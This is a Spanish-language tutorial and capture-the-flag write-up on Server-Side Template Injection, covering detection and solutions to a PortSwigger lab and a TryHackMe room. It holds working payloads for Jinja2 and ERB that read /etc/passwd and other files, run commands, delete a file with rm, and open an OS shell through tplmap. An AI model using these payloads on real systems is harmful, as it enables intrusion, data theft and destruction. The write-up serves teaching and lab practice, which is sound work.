#SSTI

#Que és STTI

Sus siglas significan “Server Side Template Injection”, y lo que ocurre en esta vulnerabilidad es cuando una pagina web es dinámica i se habilita introducir datos hacia paginas web o emails. Eso permite el atacante introducir una plantilla y así habilitar la inyección al lado del servidor. Eso es bastante fácil de confundir con el Cross-Site Scripting (XSS) o simplemente omitirlo.
A diferencia del XXS, la inyección de plantillas se puede utilizar para atacar directamente los componentes internos de los servidores web y a menudo obtener una ejecución remota (RCE), eso se convierte en un punto potencial para hacer el pivoting.

Ejemplo de código, vemos que pregunta un nombre en un formulario y después contesta con un Hello (nombre introducido).

1
2
3
4
5
6
7
8
9
template = """
<!DOCTYPE html><html><body>\
<form action="/" method="post">\
What is 2+2:<br>\
<input type="text" name="name" value="">\
<input type="sumbit" value="Submit">\
</form><h2>%s! </h2></body></html>""" %user_input

return render_template_string(template)

#Identificación

Lo primero que se tiene que hacer es comprobar és intrucciones en texto plano, existen varias plantillas distintas y se tiene que identificar el payload correspondiente. Las expressiones más comunes són:

1
2
Var puede ser un calculo como {{20+1}} o {{3*'7'}}
{var} ${var} <%= var %> [% var %]

Si utilizamos el mismo ejemplo anterior y la respuesta és:

21

Eso significa que hemos encontrado el SSTI. Para seguir podemos buscar los payloads para la ejecucion de comandos, lo he sacado de PayloadsAllTheThings.

#Explotación

Para leer contenido podemos utilizar, con esto tendriamos un LFI.

1
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}

Si queremos ejecucion de codigo podemos utilizar

1
{{config.__class__.__init__.__globals__['os'].popen(cat /etc/passwd).read()}}

Existe un script en python que sirve para hacer una explotacion automàtica, es tplmap y la sintaxis bàsica és:

#Ejemplos

#Reto 1 - Basic PortSwigger

Este ejemplo es en una lab de https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic
A primera vista no vemos nada fuera de lo commun.

Pero si le damos a View details al primer producto podemos ver que nos devuelve un mensage en tipo post.

URL :

1
https://ac7d1f211fbf166080f8360700e500b5.web-security-academy.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock


Parece que podemos modificar el texto pero no ejecuta lo que hemos hecho anteriormente. Con este payload logramos que nos debuelba un message de error.

1
?message=<%= 20+1%>

Una vez identificado la inyeccion vamos a probar de hacer primero el RCE.
Lo podemos hacer con los siguientes payloads:

1
2
3
4
5
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

El payload que utilizo en html encoded.

1
message=%3C%=%20`id`%20%%3E

Ahora seguimos con el objetivo:

Asi que con el payload siguiente lo completamos.

1
message=%3C%=%20`rm%20/home/carlos/morale.txt`%20%%3E

Y completamos la lab.

#Reto 2 - TryHackMe

És el que he utilizado como ejemplo asi que ya identificamos que és una plantilla jinja2. Asi que podemos utilizar los siguientes payloads para comprovarlo.

1
2
3
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}

Ahora vamos a probar de leer la flag.

1
2
# Ejecucion mediante curl 
curl -X POST -d 'name=%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27cat+%2Fflag%27%29.read%28%29%7D%7D' http://10.10.171.251/

Output

1
2
<!DOCTYPE html><html><body>    <form action="/" method="post">      What's 2+2<br>      <input type="text" name="name" value="">      <input type="submit" value="Submit">    </form><p>cooctus
</p></body></html>%

Lo interessante seria obtener un shell, eso lo podemos hacer con el tlpmap. Para ello debemos inicarle el siguiente comando.

1
tplmap.py -u http://10.10.171.251 -d 'name' --os-shell -e Jinja2

Labs para practicar :
https://github.com/s4n7h0/xvwa
https://portswigger.net/web-security/server-side-template-injection/exploiting

Referencias:
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
https://portswigger.net/research/server-side-template-injection
https://tryhackme.com/room/zthobscurewebvulns